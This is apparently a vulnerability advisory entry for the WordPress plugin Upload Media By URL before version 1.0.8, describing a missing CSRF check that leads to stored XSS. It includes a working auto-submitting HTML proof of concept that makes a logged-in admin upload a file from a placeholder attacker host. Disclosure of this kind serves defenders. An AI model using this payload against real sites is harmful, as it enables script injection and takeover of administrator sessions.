WordPress Plugin Vulnerabilities

Upload Media By URL < 1.0.8 - Stored XSS via CSRF

Description

The plugin does not have CSRF check when uploading files, which could allow attackers to make logged in admins upload files (including HTML containing JS code for users with the unfiltered_html capability) on their behalf.

Proof of Concept

Have a logged in user with the unfiltered_html capability open an HTML file containing the following (this will make them upload the xss.html file):

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://example.com/wp-admin/upload.php" method="POST">
      <input type="hidden" name="multiurl" value="https://attacker.com/xss.html" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Affects Plugins

Fixed in 1.0.8

References

Classification

Miscellaneous

Original Researcher
Dmitriy
Submitter
Dmitriy
Submitter website
Verified
Yes

Timeline

Publicly Published
2023-08-02 (about 9 months ago)
Added
2023-08-02 (about 9 months ago)
Last Updated
2023-08-22 (about 8 months ago)

Other